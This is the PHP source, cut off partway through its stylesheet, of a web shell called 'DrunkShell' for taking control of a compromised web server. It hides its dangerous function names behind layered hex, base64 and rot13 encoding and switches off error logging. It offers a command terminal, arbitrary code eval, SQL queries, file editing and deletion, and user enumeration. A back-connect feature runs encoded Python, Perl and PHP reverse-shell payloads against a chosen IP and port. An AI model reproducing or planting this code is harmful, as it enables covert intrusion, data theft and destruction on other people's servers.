<?php
/*
	DrunkShell v 1.0.0
	(c) s4ndal.py
*/
@ob_start();
@session_start();
@set_time_limit(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@error_reporting(0);
@ini_set('display_errors', FALSE);
header("X-XSS-Protection: 0");
$auth = "8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918";
$f_______un=[
  "5a64453741546b6e5a6453374e544f705a6157375a573d3d",########################################################### //baseename( $WKWK[0](
  "5a645336594a4f385a64413d", // exeec( $WKWK[1](
  "5a6e4137594a4f385a6141374f6e52615a645336594a4f385a64413d", // shell__exec( $WKWK[2](
  "5a6e413659546b6e5a6e57375a544e63", // sysstem( $WKWK[3](
  "5a6e4d3741546b6e5a6e41365a4a4f355a6e45365a573d3d", // passsthru( $WKWK[4](
  "5a6e53374e544e645a6463374e544e65", // unliink( $WKWK[5](
  "5a6e45374e4a4f395a64633641673d3d", // rmdiir( $WKWK[6](
  "5a644137594a4e635a614f375a4d3d3d", // chmood( $WKWK[7](
  "5a6e4137416e4f705a6153375a4a4f345a6e453d", // scandirr( $WKWK[8](
  "5a644137594a4f395a64633641673d3d", // chdiir( $WKWK[9](
  "5a644f3759544e645a6453384e646b715a6e53365a4a52615a6441374e644e625a6e57375a544e625a6e573641713d3d", // file_put__contents( $WKWK[10](
  "5a646b375a546b395a6441365a6e4f39", // getccwd( $WKWK[11](
  "5a644f374e646b715a6453374e573d3d", // foopen( $WKWK[12](
  "5a644f365a6e6b6f5a6463365a4a4f38", // fwrrite( $WKWK[13](
  "5a644f37416e4e645a614f36416e4f38", // fcloose( $WKWK[14](
  "5a6e413659546b6e5a514f375a6e4f385a6e57384e646b395a6453374e4a6b715a514f375a4a4f345a6e453d", // sys__get_temp_dir( $WKWK[15](
  "5a6e45375a544f705a6457375a644f345a6141375a573d3d", // readdfile( $WKWK[16](
  "5a644f3759544e645a645336414a4f385a6e45374e4a6b6e", // fileperrms( $WKWK[17](
  "5a6e4d3641644f385a646b384e644e635a6449365a4a4f6e5a64673d", // preg__match( $WKWK[18](
  "5a6e41365a4a6b6f5a514f3641644f385a6e4d374f6e4f705a6441375a573d3d", // str__replace( $WKWK[19](
  "5a614936416e4e615a6153384e644f385a615337416e4e615a6457375a573d3d", // json__encode( $WKWK[20](
  "5a64453741546b6e5a64536e5a6441395a514f375a544e625a6441374e644f395a64533d", // base64_encode( $WKWK[21](
  "5a64453741546b6e5a64536e5a6441395a514f375a4a4f385a6441374e644f395a64533d", // base64_decode( $WKWK[22](
  "5a644f3759544e645a6453384e644f365a6453365a4a52615a6441374e644e625a6e57375a544e625a6e573641713d3d", // file_get__contents( $WKWK[23](
  "5a6e41365a4a6b6f5a6e573641673d3d", // strtr( $WKWK[24](
  "5a6e41365a4a6b6f5a514f3641644e615a6e576e4154416e", // str_rot13( $WKWK[25](
  "5a646b364f544f345a6153375a644e645a6449365a4a4f38", // gzinflate( $WKWK[26](
  "5a6e41365a4a6b6f5a6e4d374e646b6e", // strposs( $WKWK[27](
  "5a646336416e52615a64573759546b6f", // is__dir( $WKWK[28](
  "5a646336416e52615a644f3759544e645a64533d", // is__file( $WKWK[29](
  "5a6e41365a4a6b6f5a6141375a544e62", // strleen( $WKWK[30](
  "5a6e4d374e646b36", // poow( $WKWK[31](
  "5a6e49365a544f385a6e453659573d3d", // quuery( $WKWK[32](
  "5a6e4d3641644f385a646b384e646b6e5a6e4d374f6e4f345a6e573d", // preg__split( $WKWK[33](
  "5a644f36416e4e615a6441374f644e615a6e4d375a544e62", // fsoockopen( $WKWK[34](
  "5a6e4d374e646b6e5a646336594a52615a646b375a546b395a646b3641644f365a6463375a4d3d3d", // posix__getgrgid( $WKWK[35](
  "5a6e4d374e646b6e5a646336594a52615a646b375a546b395a6e4d365a6e6b385a6463375a4d3d3d", // posix__getpwuid( $WKWK[36](
  "5a6e4d3641644f385a646b384e646b6f5a645336414a4e645a644937416e4f38", // preg__replace( $WKWK[37](
  "5a644f3759544e645a6453374e646b365a6153375a546b6f", // fileeowner( $WKWK[38](
  "5a61573659546b6e5a6e49374f6e4f34", // mysqloi( $WKWK[39](
  "5a6157374f644f395a64633641673d3d", //mkdir( $WKWK[40](
  "5a644f3759544e645a6453384e644f385a6e673759546b6e5a6e573641713d3d", // file__exists( $WKWK[41](
  "5a6e45375a544e625a6449374e4a4f38", // reename( $WKWK[42](
  "5a6441374e646b715a6e633d", // coopy( $WKWK[43](
  "5a6157375a4a4138", // mdd5( $WKWK[44](
  "5a64673741546b6e5a64673d", // haash( $WKWK[45](
  "5a6e4d374e646b715a6453374e573d3d", // poopen( $WKWK[46](
  "5a6e4d37416e4e645a614f36416e4f38", // pcloose( $WKWK[47](
  "5a644f375a544e615a644f3d", // feeof( $WKWK[48](
  "5a644f3641644f385a6449375a4d3d3d", // freead( $WKWK[49](
  "5a644f3759544e645a6453374e4a6b395a6463374e4a4f38", // fileemtime( $WKWK[50](
  "5a64573741546b395a64533d", // daate( $WKWK[51](
  "5a646336416e52615a6e45375a544f705a64573741544f6f5a6141375a573d3d", // is__readable( $WKWK[52](
  "5a646336416e52615a6e6b3641644f345a6e573741544f6f5a6141375a573d3d", // is__writable( $WKWK[53](
  "5a6e4d37594a6b715a514f365a544e625a6449374e4a4f38", // php__uname( $WKWK[54](
  "5a6463374e544f345a514f375a6e4f385a6e573d", // ini__get( $WKWK[55](
  "5a644f3759544e645a6453375a6e6b6f5a614f365a546b71", // fileegroup( $WKWK[56](
  "5a64573759546b6f5a61533741544e635a64533d", // dirname( $WKWK[57](
  "5a6e57374e646b385a644137594d3d3d", // touch( $WKWK[58](
  "5a64573759546b6e5a6145384e644f375a6e45375a544f385a514f36416e6b715a644937416e4f38", // $WKWK[59]( $WKWK[59](
  "5a64573759546b6e5a6145384e646b395a614f365a4a4f705a6141384e646b6e5a6e4d3741544f6e5a64533d", // disk_total_space( $WKWK[60](
  "5a644f3759544e645a645336416e4f345a3749375a573d3d", // filesize( $WKWK[61](
  "5a64673741546b6e5a6467384e644f355a61573741544f6e5a514f3741544e645a646b374e646b6e", // $WKWK[62]( $WKWK[62](
  ];
if(!empty($_SESSION["mysql"]["server"]) && !empty($_SESSION["mysql"]["username"])){
  $conn=new mysqli($_SESSION["mysql"]["server"], $_SESSION["mysql"]["username"], $_SESSION["mysql"]["pwd"], $_SESSION["mysql"]["database"]);
}
////////   0    1    2    3    4    5    6    7    8     9    10   11  12    13   14   15    16   17
$ABC = ["a", "s", "u", "t", "e", "l", "o", "r", "3" , "o", "1", "_", "6" , "b", "d", "4", "c", "n"];
$ST13 = $ABC[1].$ABC[3].$ABC[7].$ABC[11].$ABC[7].$ABC[9].$ABC[3].$ABC[10].$ABC[8];
$STr = $ABC[1].$ABC[3].$ABC[7].$ABC[3].$ABC[7];
$BDEC = $ABC[13].$ABC[0].$ABC[1].$ABC[4].$ABC[12].$ABC[15].$ABC[11].$ABC[14].$ABC[4].$ABC[16].$ABC[9].$ABC[14].$ABC[4];
$BENC = $ABC[13].$ABC[0].$ABC[1].$ABC[4].$ABC[12].$ABC[15].$ABC[11].$ABC[4].$ABC[17].$ABC[16].$ABC[9].$ABC[14].$ABC[4];
$WKWK[] = "";
foreach($f_______un as $x => $xx){
  $WKWK[$x] = nhx(Dex($xx));
}
$at = (isset($_GET["x"])) ? Dex($_GET["x"]) : $WKWK[19]("\\", "/", $WKWK[11]()) . "/";
$rn = $WKWK[33]("/\\\|\//", $at);
$code = [
  "python" => "6d5138716c36443945465a724f3774626a4b706e6a5144716b6130644e505a6e4247306e42465a346b71786e58505a724f3774626a4b346e6c375a764e5057796b3730646d3752394263484750396259565257756b3730646d37523942625a5857397468533856555653485a4357786e42615a726c6134624f36577943465a346b6f34666b616a37516e486a424762736a4b666e695041734f50447a6a62756f50556378435778726b6f34636a504d6f434641734e6162754e513472434b6375414b63436c3641734e4652714165666e42614e786c4752736c6f6778424a49784b61306e426156386b4a45796b6f34616d5170626c6131794355716f435778786c504c726b7a57676b4656344b7a4c396955346e6b4748366c656765423744786c6530654f505a794565633d",
  "perl" => "456f49726a505a6f423744786c6530714e504475454b38364b7a526e4e554c546c375a764e5057324b6556785855564c53636a51516e4c6a597179636b4a39635752444652627570505475436b3730646d3752394348417553494e6855533448524b705454395a4250385a535363524c5455707a4e5056716b6130396c3744346c6148744e5567656a475a7145656378597178784e6566646c3734734e515a39434841756b3730646d3748634e4644686d51357944464d756d5134626a4830666a473073434b567843556378435074726b47527343485a5356496259424b452b44624165435475436c364c626c656654524956585252577545643561536f4578597178726b47527343485a53564952555365716558654e54456563324b6152354e514179456530656d5135726b37676742516365435475436854753d",
  "php" => "6b375239503656786c5152686c4762746d505779414b633244475a796a51347650365a786961533041545771414a75636a3644786a4752684f5438736a517075596f56626b7a44726b623066585134386c47713244465a794e51707558556a386c6148744e554d744f5475676a6e75676d515732454b30656d5135726b3767674251637a596f56634f5152746c373530414a75634e4752656a516b30414a74784e6566616a5134646a4762726c6230626947626e6a46417944364c646c7a567550374e726b61757a4355623244464c784e4a38714f3734396c4830616c364476434b63326d514f7944464c784e4a393042544978693752356d5057794155633268516261434b56716d515778693752356d505779414b63326851626143464c726b37623550365a626a465a784e4b677858543974415562324e5066786a4b677043547430444756664e5138726c643970593638646d4756786b656765426f4578593652744f505a76434a4d78596f566e6c375a7658514e6e6c375a766c364c626c6567636d504d7544464c726b7a57754447526f6b613472424b56626b7a446e6a464575416e4d7859376261434b49636b3730646d6f62324e5066786a4b677043547430444756626b375a6f6d504c396c36446e6b4752645851486f6b614834434a4d305861486f6b614834434b44716d504c62456571656b654578424a49305861486f6b614834434b44716d504c62456571656a6f4578424a45305861486f6b614834434b44716d504c62456571656a6f4578435475636b4644724f37526e6b6e38716b613064503730714e51357944465a794e517075424b56634e505a646b6162716a47306f6b364c624f6f71636b4762714e50417859376261434b48786b38306f4e505a726a5044644e5567636b4644724f37526e6b6f6378693752356d5057794155633268505a396b6152666c52306e4e5056684f6170724f3774786c616b7944464c786b47526e516e4c6a424a4d7859365a396b6152666c52306e4e5056684f6170724f3774786c616b7944464c786b47526e516e486a424a4d7859365a396b6152666c52306e4e5056684f6170724f3774786c616b7944464c786b47526e516e446a424a4d7859365a396b6152666c52306e4e5056684f6170724f3774786c616b7944465a724f377575414b63326a3766786c475379415562326d514f794e6152724e6567636b3730646d6f63786937446f4e514876593638784e6566614e513061434b56716d504c626b387570505563786937446f4e514876593639636b6152664e4830665851486f6b614834434b566e6c375a76424b56716d504c626b387570505571636b4762714e505a6c41623978596f56736a5138684f3766666c616a624e48306e6c375a764e50566e58505a396b6152666c52306e4e5170624f365779444644624f5156684f5571636a3644786a4752684f5571634e50446f6c3644684f5570736a517075435474784e6566786c6230666b7a4466695567636b3730646d6f71636b6152664e48306643556232444762736b46523958514e6f4e514863434b566e6c375a76424b56646d4652736d38306e6d507862435474616a3644786a47537944464c786b47526e516e4c6a424b56786c7a4c386a4b633268516261434762735037486f6b614834434b56716d504c626b387570505571636b6152664e48306643556232444762736b46523958514e6f4e514863434b56716d504c626b387570505571634f3766386c6174686b3762334e5563324e7a6a6f6d505662434b566e6c375a76424b56786c7a4c386a4b633268516261434762735037486f6b614834434b56716d504c626b38756f505571636b6152664e48306643556232444762736b46523958514e6f4e514863434b56716d504c626b38756f505571634f3766386c6174686b3762334e5563324e7a6a6f6d505662434b566e6c375a76424b56786c7a4c386a4b6332685038614f3770726b37537944465a724f37757859374e646c47306e4e5567636b4762714e505a6c4148397859374e646c47306e4e5567636b4762714e505a6c4152397859374e646c47306e4e5567636b4762714e505a6c4162397859364c6f6c375a684f3770726b37537944464c6f6c375a626b36417859713d3d",
];
function hx($x){
    $h = '';
    for ($i=0; $i<strlen($x); $i++){
        $ord = ord($x[$i]);
        $hc = dechex($ord);
        $h .= substr('0'.$hc, -2);
    }
    return $h;
}
function Sentuh($x,$y){
  $t = strtotime($y);
  return $WKWK[58]($x, $t);
}
function CheckDrives(){
  global $rn;
  $ret = "";
  if(IsWin()){
    foreach (range('A', 'Z') as $drive){
      if(is_dir($drive.':')){
        if($rn[0] == $drive.':'){
          $ret .= "<a style='color:white!important' class='bor' href='?x=".Enx($drive.':/')."'>".$drive."</a>";
        }else{
          $ret .= "<a class='bor' href='?x=".Enx($drive.':/')."'>".$drive."</a>";
        }
      }
    }
  }else{
    $ret = "This is Linux Lmao";
  }
  return $ret;
}
function nhx($x){
    $h = strToUpper($x);
    $y='';
    for ($i=0; $i < strlen($h)-1; $i+=2){
        $y .= chr(hexdec($h[$i].$h[$i+1]));
    }
    return $y;
}
function AllHash($y,$x){
  global $WKWK;
  return $WKWK[45]($y, $x, false);
}
function GetUsers(){
	if(IsWin()){
		return Xute("net user");
	}else{
		return Xute("getent passwd {1000..60000}");
	}
}
function Size($x){
    $i = abs($x) ? floor(log($x) / log(1024)) : 0;
    $sizes = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    return sprintf('%.02F', $x / pow(1024, $i)) * 1 . ' ' . $sizes[$i];

}
function Enc($x, $z  = "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/"){
    global $BENC, $STr;
    $y = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    $o = $STr($BENC($x), $y, $z);
    return $o;
}
function Kill($x){
	if(IsWin()){
		return Xute('tskill '.$x);
	}else{
		return Xute('kill '.$x);
	}
}
function Read($x){
  global $WKWK;
  $y = $WKWK[12]($x,'r');
  $yz = "";
  if($y)
  {
  	while(!$WKWK[48]($y))
  	{
  		$yz .= htmlentities($WKWK[49]($y,(1024*4)));
  	}
    $WKWK[14]($y);
    return $yz;
  }else{
    if(IsWin()){
      $y = Xute("type ".$x);
    }else{
      $y = Xute("cat ".$x);
    }
    return htmlentities($y);
  }
}
function Dec($x, $y  = 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/'){
    global $BDEC, $STr;
    $z = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
    $o = $BDEC($STr($x, $z, $y));
    return $o;
}
function Enx($x){
  global $ABC, $ST13;
  return hx($ST13(Enc($x)));
}
function Dex($x){
  global $ABC, $ST13;
  return Dec($ST13(nhx($x)));
}
function CopyFile($x, $y){
  global $WKWK;
  $x = $WKWK[19]("\\", "/", $x);
  $y = $y."/".$WKWK[0]($x);
  $contain = $WKWK[8]($x);
  if($WKWK[28]($x)){
    @$WKWK[40]($y);
    foreach($contain as $key => $file){
        $p = $x."/".$file;
        $t = $y."/".$file;
        if ($WKWK[28]($p)) {
          if($file == "." || $file == ".."){
            continue;
          }
          CopyFile($p, $t);
        }else{
          $WKWK[43]($p, $t);
        }
    }
  }else{
    $WKWK[43]($x, $y);
  }

}
function Terminal($x, $y)
{
  global $WKWK;
  $output = "";
  $x = $WKWK[19]("awkawk#$!kwowkoako&^%@#@#$%%%!@akusukakamuhehehe>", "",$x);
  $x = $x." 2>&1";
  if ($WKWK[18]("/^\s*cd\s+(.+) 2>&1\s*$/", $x))
  {
      $WKWK[9]($y);
      $WKWK[18]("/^\s*cd\s+(.+) 2>&1\s*$/", $x, $dir);
      $WKWK[9]($dir[1]);
  }
  else
  {
    $WKWK[9]($y);
    $output = htmlentities(Xute($x));
  }
  return array("path" => $WKWK[11](), "output" => $output);
}
function path()
{
  global $WKWK;
  return array('path' => $WKWK[11]());
}
function AjaxDec($x){
  global $WKWK;
  return nhx(base64_decode($x));
}
function Epal($x)
{
  try {

    global $WKWK;#####
    ob_start();############
    $r = eval($x);#########
    $r = ob_get_contents();
    ob_end_clean();########
    return $r;#############

  } catch (ParseError $e) {

      return false;

  }
}
function IsWin(){
  global $WKWK;
  return $WKWK[27](PHP_OS, 'WIN') !== false;
}
function Bc($ip, $port, $lang)
{
    global $WKWK, $code;#
    $lang = strtolower($lang);
    $arg=$ip." ".$port;#######
    $cod=Dex($code[$lang]);###

    if($lang == "php"){

      $arg="";##################################
      $cod='$ip="'.$ip.'";$port='.$port.';'.$cod;

    }
    if(!RunCode($arg, $cod, $lang)) return false;
}
function RunCode($argument, $code, $lang){
  global $WKWK;
  $lang=strtolower($lang);
  $ext = "";
  switch ($lang) {
    case 'python':
      $ext = "py";
      break;
    case 'perl':
      $ext = "pl";
      break;
    case 'php':
      $ext = "php";
      break;
    default:
      return false;
      break;
  }
  if($lang == "php"){
    if(Epal($code)){
      return Epal($code);
    }else{
      return false;
    }
  }else{
    $filepath = $WKWK[15]()."/"."runcode.".$ext;
    if($WKWK[10]($filepath, $code)){
      $argCrafted = $lang." ".$WKWK[15]()."/"."runcode.".$ext." ".$argument;
      $o = Xute($argCrafted);
      return $o;
      if(!$o){
        return false;
      }
    }else{
      return false;
    }
    $WKWK[5]($filepath);
  }
}
function Search($path, $filename){
  global $WKWK;
  $path = $WKWK[19]("\\", "/", $path);
  $contain = $WKWK[8]($path);
  $file_html = "";
  foreach($contain as $key => $file){
      $p = realpath($path.DIRECTORY_SEPARATOR.$file);
      if ($WKWK[28]($p)) {
        if($file == "." || $file == ".."){
          continue;
        }
        Search($p, $filename);
      }else{
        if($WKWK[27]($file, $filename) !== false){
          $fp = "?x=" . Enx($path) . "&y=" . Enx($file);
          $pf = $path. $file;
          $file_html .= "
          <tr>
          <td>
			  <input class='checkboxDark' type=\"checkbox\" name=\"path_dir[]\" value=\"" . htmlspecialchars($path . "/" . $file) . "\">
		  </td>
		  <td>
			  <a href='".$fp."&act=read'><b>$file</b><br>$p</a>
		  </td>
		  <td>
			  <a href='".$fp."&act=read'><b>$file</b><br>$p</a>
		  </td>
			  <td>".Size($WKWK[61]($pf))."</td>
          <td>
		  </td>
			  <td>".lastmod($p)."</td>
          <td>
            <a>".PermColor($path . $file)."</a>
          </td>
          <td>
            ".OG($path  . $file )."
          </td>
          <td>
            <form method='post'>
            <select name='file_action' class='selectAct'>
              <option data-param='goto' value='".$fp."&act=rename'>rename</option>
              <option data-param='goto' value='".$fp."&act=chmod'>chmod</option>
              <option data-param='goto' value='".$fp."&act=edit'>edit</option>
              <option data-param='delete' value='".$fp."&act=del' data-filename=\"".$file."\">delete</option>
              <option data-param='download' value='" .$pf  . "'>download</option>
              <option data-param='goto' value='".$fp."&act=touch'>touch</option>
              <option data-param='copy' value='" . $pf . "'>copy</option>
              <option data-param='move' value='" . $pf . "'>move</option>
            </select>
            <button type='submit' class='actSubmit'>>></button>
            </form>
          </td>
          </tr>
          ";
        }
      }
      if($key == count($contain) - 1){
        if(empty($file_html)){
          return "Not Found :(";
        }else{
          return $file_html;
        }
      }
  }
}
if (isset($_SESSION["__token"])){
  if (isset($_GET["sad"])) {
    switch ($_GET["sad"]){
      case 'deleteme':
        session_destroy();
        $WKWK[5]($_SERVER["SCRIPT_FILENAME"]);
      break;
      case 'out':
        session_destroy();
        header("Location:".$_SERVER["PHP_SELF"]);
      break;
    }
  }
  if (isset($_GET["api"]))
  {
    if($_GET["api"] !== "dwnld"){
      header('Content-Type: application/json');
    }
    switch ($_GET["api"]) {
      case 'hash':
        $x = $_POST["x"];
        $y = $_POST["y"];
        echo $WKWK[20](
          array(
            "algo" => $y,
            "result" => AllHash($y, $x)
          )
        );
      break;
      case 'dwnld':
        $filePath = AjaxDec($_POST["fullpath"]);
        header("Cache-Control: public");
        header("Content-Description: File Transfer");
        header("Content-Disposition: attachment; filename=".$WKWK[0]($filePath));
        header("Content-Transfer-Encoding: binary");
        $WKWK[16]($filePath);
        break;
      case 'edit':
        if(isset($_POST["path"]) && isset($_POST["content"])){
          if(!write(AjaxDec($_POST["path"]), AjaxDec($_POST["content"]))) die($WKWK[20](array('msg' => "Failed")));
          echo $WKWK[20](array('msg' => "Done"));
        }
      break;
        case 'path':
          echo $WKWK[20](path());
          break;
        case 'mysql':
          $q = AjaxDec($_POST["query"]);
          $res = $conn->query($q);
          $resType = $conn->query($q);
          $colname=array();
          $html = "";
          $raw = array();
          $aff = $conn->affected_rows;
          $type = array(
              1=>'tinyint',
              2=>'smallint',
              3=>'int',
              4=>'float',
              5=>'double',
              7=>'timestamp',
              8=>'bigint',
              9=>'mediumint',
              10=>'date',
              11=>'time',
              12=>'datetime',
              13=>'year',
              16=>'bit',
              253=>'varchar',
              254=>'char',
              246=>'decimal'
          );
          if($aff > 0){
            $html .= "<table class='data_table'>";
            $html .= "<tr>";
            $html .= "<th>Name</th><th>Max Length</th><th>Type</th>";
            $html .= "</tr>";
            while ($row_type = $resType -> fetch_field()) {
              $html .= "<tr>";
              $html .= "<td>".$row_type -> name."</td>";
              $html .= "<td>".$row_type -> max_length."</td>";
              $html .= "<td>".$type[$row_type -> type]."</td>";
              $html .= "</tr>";
            }
            $html .= "</table>";
            $html .= "<table class='data_table'>";
            $html .= "<tr>";
            while ($row = $res -> fetch_field()) {
              $html .= "<th>".$row -> name."</th>";
              $colname[] = $row -> name;
            }
            $html .= "</tr>";
            while ($rows = $res -> fetch_assoc()) {
              $raw[] = $rows;
              $html .= "<tr>";
              foreach ($colname as $key => $value) {
                $html .= "<td>".$rows[$value]."</td>";
              }
              $html .= "</tr>";
            }
            $html .= "</table>";
          }
          if ($aff < 0) {
            $warning = "No rows were affected";
          }else{
            $warning = "Affected rows : ".$conn->affected_rows;
          }
          $return = array('msg' => $warning, 'html' => $html, "raw" => array("colname" => $colname, "rawdata" => $raw));
          echo $WKWK[20]($return);
          break;
        case 'terminal':
          echo $WKWK[20](Terminal(AjaxDec($_POST["cmd"]),AjaxDec($_POST["path"])));
          break;
        case 'execode':
          $o = Runcode("",AjaxDec($_POST["code"]),AjaxDec($_POST["lang"]));
          if(!$o) die($WKWK[20](array("output" => "Something Wrong :(")));
          echo $WKWK[20](array("output" => $o));
          break;
        case 'search':
          $h = "
          <table cellspacing=0 class='fileanddir'>
		  <tr class='atas'>
		  <th></th>
		  <th class='filename'>Name</th>
		  <th>Size</th>
		  <th>Lastmod</th>
		  <th>Perm</th>
		  <th>Owner:Group</th>
		  <th>Action</th>
		  </tr>".
            Search(AjaxDec($_POST["path"]), AjaxDec($_POST["searchfile"])).
          "</table>";
          echo $WKWK[20](array("data" => $h));
          break;
        case 'bc':
          if (isset($_POST["ipport"]))
          {
              $ip_port = $WKWK[33]("/:/", AjaxDec($_POST["ipport"]));
              $ip = $ip_port[0];
              $port = $ip_port[1];
              if (!empty($ip) && !empty($port)){
                  if(!Bc($ip, $port, AjaxDec($_POST["lang"]))) die($WKWK[20](array("msg" => text("Something Wrong!?", "fail"))));
                  echo $WKWK[20](array("msg" => text("OK!", "success")));
              }else{
                  echo $WKWK[20](array("msg" => text("Invalid Format", "fail")));
              }
          }
          break;
      default:
        echo $WKWK[20](array("CARI APA BAGN" => "CARI APA BAGN"));
        break;
    }
    die();
  }
}
$WKWK[9]($at);
?>

<!DOCTYPE html>
<html dir="auto" lang="en-US">
  <head>
    <meta charset="UTF-8">
    <meta name="robots" content="NOINDEX, NOFOLLOW">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js">
    </script>
    <title>DRUNK SHELL BETA </title>
  </head>
  <style>
    @font-face {
    	font-family:'ubuntumono';
    	src:url(data:application/x-font-woff;charset=utf-8;base64, ) format('woff');
    	font-weight: normal;
    	font-style: normal;
    }
    *{
      margin:0;
      padding:0;
      font-family:ubuntumono;
      font-size: 16px;
      box-sizing: border-box;
      outline:0;
      color:white}
    html,body{
      width:100%;
      max-width:100%
    }
    .f-title h1{
      width: 100%;
      border-bottom: 1px solid #2f89fc;
      line-height: 0.1em;
      margin: 10px 0 20px;
    }
    .f-title h1 span{
      font-size: 24px;
      color: #2f89fc !important;
      padding:10px;
      background-color: #131217;
    }
    .f-title{
      position: relative;
      width:100%;
      margin: 2em 0;
    }
    a{
      text-decoration:none}
    .runcode{
        table-layout: fixed !important;
        width: 100% ;
      }
    .ov{
      max-height:300px;
      overflow: auto;
    }
    .sts{
      color:#fff;padding:6px 0;margin-right:6px;
    }
    .data_table td{
      overflow: auto;
      padding:10px;
    }
    .data_table{
      padding: 10px 0;
    }
    .fa-angle-right{
      font-size:24px;
      vertical-align:middle;
      padding: 0 8px;
    }
    #tools *, #mass *{
      color:white;
    }
    .data_table td,th{border:1px solid #2d3436;max-width: 300px;min-width: 70px;text-align: left;}
    .data_table td{max-width: 300px;min-width: 70px;}
    .data_table th{padding:10px;color:#fff}
    .msg{
      position: fixed;
      bottom:0;
      left:0;
      width:100%;
      height: 20px;
      height: 40px;
      z-index: 999;
      line-height: 40px;
      text-align: center;
      font-size: 20px;
      animation: msg 1.5s;
      opacity: 0;
    }
    .bor{
      background: #2f89fc;
	  color: #000;
      padding: 0 8px;
      margin-right: 4px;
    }
    .err{
      background-color: red;
    }
    .ok{
      background-color: #4cd137;
    }
    @keyframes msg {
      0%{
        opacity: 1;
        transform: scale(1);
      }
      90%{
        opacity: 1;
        transform: scale(1);
      }
      100%{
        opacity: 1;
        transform: scale(0);
      }
    }
    .act{
      text-align:center;
    }
    .act td{
      text-align:center;
      padding:10px;
    }
    .head{
      padding:20px;
    }
    .head h1{
      font-family:Sedgwick Ave Display;
      font-size:42px;
      color:#fff}
    .filendirInfo .title h1{
      font-family:Sedgwick Ave Display;
      font-size:42px;
      color:#fff;
      padding:10px;
      text-align:center}
    .wrapper-dir td{
      text-align:center}
    .wrapper-dir .filename{
      width:200px;text-align:left}
    .info{
      text-align:center;
      color:white}
    .leftside{
      width:50%;
      padding-right:20px;
    }
    .banner{
      width:1%;padding:0 20px !important;
      border-spacing: 5px;
    }
    .banner pre{
      color:#2f89fc
    }
    .main{
      width:100%;
    }
    .rightside{
      float:right;
      width:50%;
      position:relative}
    .rightsides{
      margin-left:20px;
    }
    .toolsandinfo{
    }
    .toolsandinfo table, .toolsandinfo table tr{
      width: 100%;
    }
    .toolsandinfo table td{
      padding:3px;
    }
    .filendirInfo a, .filendirInfo a:hover{
      color:#fff}
    .filendirInfo .featureForm, .filendirInfo .featureForm tr {
      width:100%;
    }
    .filendirInfo .featureForm td{
      padding:8px;
      width:auto}
    input[type="text"],input[type="password"], textarea, select{
      padding:8px;
      box-sizing: border-box;
      resize:none;
      border:1px solid #1a202c;
      color:#fff !important;
      background:#1a202c;
      outline:none}
    option{
	  color:#fff !important;
      background-color:rgb(21, 24, 28);
    }

    .namefile_act td{
      padding:10px;
    }
    .filendirInfo .featureForm option{
      color:black}
    .w-100{
      width:100%;
    }
    .feature{
      background:#1a202c;
    }
    .filendirInfo textarea{
      width:100%;
      height:250px;
    }
    .fix{
      position:fixed}
    .body{
      padding:0 20px;
      position:relative}
    .atas th{
      border:0;
      border-bottom:1px solid rgb(47, 51, 54);
      padding:20px;
      color:#fff !important;
    }
    .bw{
      border:1px solid black;padding:8px;margin-left:6px
    }
    .atas:hover{
      background-color: transparent !important;
    }
    body{
      background-color:#131217;}
    .box{
      padding:10px;
      margin-bottom:20px;
    }
    .iblock{
      display: inline-block;
    }
    .path a{
      display:inline-block;
      padding:2px 6px;
      color:#fff !important;
    }
    .path .button{
      background:#2f89fc;
      border:1px solid #2f89fc;
      cursor: pointer;
    }
    .path{
      margin:0;
      padding-bottom:15px;
    }
    .menu{
      text-align:left;padding: 0 20px;}
    .menu ul{
      list-style-type: none;display: flex;flex-wrap: wrap;}
    .menu ul li{
      font-size: 0;}
    .menu a{
     padding:0 10px;display: block;color:#2f89fc}
    .menu a:hover{
     background-color:#2f89fc;color:#000 !important}
    .menu form{
     display:none}
    input[type="submit"], button{
      background:#2f89fc;
      border:1px solid #2f89fc;
      cursor: pointer;
      color:#fff !important;
      padding:8px;}
    input[type="submit"], button *{
    }
    input[type="submit"]:hover, button:hover *{
      color:black !important;
    }
    input[type="submit"]:hover, button:hover{
      background:#fff;
      border:1px solid #fff;
      color:black !important;}
    .action{
      border:1px solid #fff;
      display: inline-block;
      color:#fff !important;
      padding: 8px;
      margin-right:5px;
    }
    .action:hover{
      color:#000 !important;
      background-color: #fff;
    }
    .actionfile {
      background-color:#1a202c;
    }
    .actionfile .button{
      background-color:transparent;
      border:0;
    }
    .actionfile .button:hover{
      border:0;
    }
    .button{
      background:#2f89fc;
      border:1px solid #2f89fc;
      cursor: pointer;
      color:#fff !important;
      padding:8px;
      margin-right:8px;
      display: inline-block;
    }
    .button:hover{
      background:#fff;
	  border:1px solid #fff;
	  color:#000 !important;
    }
    .menu #uploader input[type="file"]{
      color:black}
    .menu #uploader {
      padding:10px;
    }
    .menu table{
      margin-left: auto;
      margin-right: auto;
    }
    .bg-white{
      background-color:#fff;
    }
    .bg-o-blue{
      border:2px solid #2f89fc;
    }
    .bg-o-blue *{
      color: #2f89fc !important;
    }
    .bg-yellow{
      border:2px solid yellow;
    }
    .bg-yellow *{
      color: yellow !important;
    }
    .bg-white *{
      color:black !important;
    }
    .no-bg{
      background-color: rgb(47, 51, 54) !important;
      background: rgb(47, 51, 54) !important;
      color:#fff !important;
    }
    .windows{
      position: fixed;
      top: 50%;
      left: 50%;
      width: 60%;
      transform: translate(-50%, -50%);
      height: 55%;
      background-color: #1a202c
    }
    .active{
      background-color:white !important;
      color:black !important;
    }
    .blackout::before{
      content:"";
      position: fixed;
      top: 0;
      left: 0;
      bottom:0;
      right:0;
      background-color: #000;
      opacity: 0.5;
    }
    a:hover{
      color:#fff !important;
    }
    .row{
      padding:10px 0;
      display: flex;
      flex-direction: row;
    }
    .col-0{
      max-width: 100%;
      flex:0;
    }
    .col-auto{
      max-width: 100%;
      flex:auto;
    }
    .terminal-input input[type="text"]{
      background:transparent;
      border:0;
      width:100%;
      padding:0 !important;
      display: inline-block;
